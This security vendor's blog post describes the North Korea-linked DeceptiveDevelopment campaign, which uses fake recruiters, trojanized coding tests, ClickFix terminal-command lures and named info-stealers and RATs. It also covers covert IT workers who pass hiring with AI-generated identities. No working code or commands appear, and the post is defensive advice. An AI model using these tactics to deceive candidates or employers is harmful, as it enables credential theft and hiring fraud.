If you're hiring for tech roles or applying as a dev, designer, or data engineer, this warning is for you. A threat actor aligned with North Korea, known as DeceptiveDevelopment, specializes in social engineering. They pose as recruiters, send you a “technical challenge,” and trick you into downloading trojanized code. Their goal? Steal credentials, drain wallets, take control of your machine—and feed covert IT worker operations that use fake identities to secure remote jobs.
At TecnetOne, we’ll break down how the attack works, which tools are involved, and what you can do to avoid becoming the next victim.
The Main Trick: Dream Jobs, Private GitHub Tests, and ClickFix
This group operates across LinkedIn, Upwork, Freelancer, and Web3 job boards. They create fake recruiter profiles offering well-paid remote roles. The “technical screening” is a private GitHub/GitLab/Bitbucket repo with what looks like a harmless project—but it’s trojanized.
The initial payload is usually BeaverTail (or its successor, OtterCookie), followed by a second-stage modular RAT called InvisibleFerret, used to exfiltrate browser data, crypto wallets, and establish remote control (including AnyDesk).
They also deploy ClickFix: during a fake video interview, a "camera issue" appears, and you’re guided to fix it by pasting a command into your terminal. That command silently downloads and runs malware—on Windows, macOS, and now Linux, according to recent findings.
A Cross-Platform Arsenal: Python, JavaScript, Go, and .NET
DeceptiveDevelopment is not a single malware file. It’s a full infection chain, using multiple stages and languages:
- BeaverTail / OtterCookie (JS / C++ Qt): First-stage info-stealer, grabs credentials, keychains, and crypto extensions. Also a downloader.
- InvisibleFerret (Python): Modular RAT, includes keylogger, clipboard monitor, and AnyDesk deployment.
- WeaselStore (Go and Python variants): Extracts browser/wallet data, acts as persistent RAT post-exfiltration. Comes with full toolchains for compiling on Windows, Linux, and macOS.
- TsunamiKit (.NET): Complex infection with spyware, crypto miners (XMRig/NBMiner), persistence, and Defender exclusions.
- Advanced Native Backdoors (Tropidoor, AkdoorTea): More refined implants, linked to other North Korean threat groups—suggesting shared tooling and evolution.
The pattern: less zero-day magic, more social engineering, tool reuse, and adaptation of shady open-source projects. The result? Cheap, scalable, and effective campaigns.
Similar titles: SystemBC: Malware That Turns Vulnerable VPS Into Cybercrime Highways
Where Do North Korean “IT Workers” Fit In?
This leads to the second piece of the puzzle: WageMole—covert IT workers who apply for remote jobs using synthetic CVs, AI-generated headshots, and even face-swapped interviews.
Operating outside North Korea (in China, Russia, Southeast Asia), they work in teams with "handlers" assigning quotas, customer scripts, and full-time efforts to secure contracts, deliver work, and train in web dev, blockchain, English, and AI.
The Connection:
- DeceptiveDevelopment steals identities and credentials (emails, documents, profiles).
- WageMole uses them to pass job screenings.
- Once hired, they can exfiltrate data, divert payments, subcontract human "proxies," or act as insider threats.
The impact on your company? Data breaches, payroll fraud, stolen IP, and compliance risks (including potential sanctions).
Figure 1. Execution chain of WeaselStore (Source: welivesecurity)
How They Target You (as a Candidate or a Hiring Company)
If You’re Job Hunting:
- A “recruiter” reaches out with a dream offer.
- They send a private repo or fake interview link.
- You copy a command “to enable your camera” (ClickFix) or compile a “simple” project.
- A downloader runs (BeaverTail/OtterCookie) → RAT deployed (InvisibleFerret/WeaselStore) → data exfiltration (cookies, sessions, wallets).
If You’re a Hiring Company:
- You receive spotless CVs and portfolios—convincing but fake.
- Candidates use AI to alter video/audio, or proxies conduct interviews.
- Once hired, they access repos, CRM, or cloud tools.
- They may extract data or inject malware through dependencies, RMM, or build pipelines.
Figure 2. Some Windows commands implemented internally in the Tropidoor code (Source: welivesecurity)
Warning Signs to Watch For
For Devs and IT Teams:
- Private repos with hidden bloated comments or obfuscated scripts
- “Support” instructions asking for terminal commands
- Interview links on non-corporate domains (recently registered, no privacy policy)
- “Video helper” binaries requesting elevated permissions
For HR and Security:
- Generic, too-perfect CVs with timeline/geolocation oddities
- Video calls with strange latency or glitchy facial artifacts
- Candidates who avoid live coding or insist on using their own devices/connections
- Access logs with geolocation mismatches or suspicious IP switching
Figure 3. Version parsing in Akdoor from 2018 and AkdoorTea from 2025 (Source: welivesecurity)
What You Can Do Today (and How TecnetOne Helps)
For Individuals (Candidates and Freelancers):
- Never paste unknown terminal commands. If a camera fails, restart your browser—don’t run scripts.
- Use isolated environments (VMs or burner devices) for technical tests.
- If you’ve opened a shady repo, log out of sessions, rotate credentials, and revoke tokens.
- Enable passkeys/MFA for email, cloud, dev tools, and wallets.
- Monitor wallets and change seed phrases if exposed.
For Companies (IT, HR, Legal):
- Use secure hiring processes: tech tests in sandboxed or VDI environments, no external repos from candidates.
- Apply strong identity verification: liveness checks, biometric comparisons, IP/document validation.
- Enforce zero-trust onboarding: least privilege, just-in-time access, and activity logging.
- Implement browser protection, extension control, and EDR/XDR with detections for ClickFix, PowerShell+cURL, obfuscation, and unauthorized AnyDesk use.
- Have DFIR playbooks for info-stealers and session hijacks: auto-rotate cookies/tokens and kill SaaS refresh tokens.
- Train HR in AI-based fraud detection: deepfakes, proxy behavior, and cloned portfolios.
What TecnetOne Can Do for You
- Proactive Threat Hunting: detection of BeaverTail, OtterCookie, InvisibleFerret, WeaselStore, TsunamiKit, and ClickFix patterns.
- Endpoint and browser hardening, script-based loader blocking, and known RAT prevention.
- Hiring process audits: sandboxed test design, doc verification, secure VDI interviews, recruiter training.
- Identity and Access Management (IAM) with MFA, RBAC, JIT access, and continuous permission review.
- 24/7 Incident Response, including token revocation, secret rotation, session cleanup, and laptop sanitization.
- Awareness training for your IT, HR, and hiring managers, including interview simulations and detection labs.
Also of interest: The Evolution of Artificial Intelligence Driven Malware
Conclusion
DeceptiveDevelopment isn’t just another trojan—it’s a full-blown deception factory blending job phishing, ClickFix, modular malware, and fake IT workers using AI.
If you post job listings or work in tech, you’re on their radar.
The good news? With hardened hiring processes, granular access control, browser/endpoint detection, and rapid incident response, you can shut them down before damage is done.
At TecnetOne, we’re already helping businesses like yours detect, block, and dismantle these campaigns.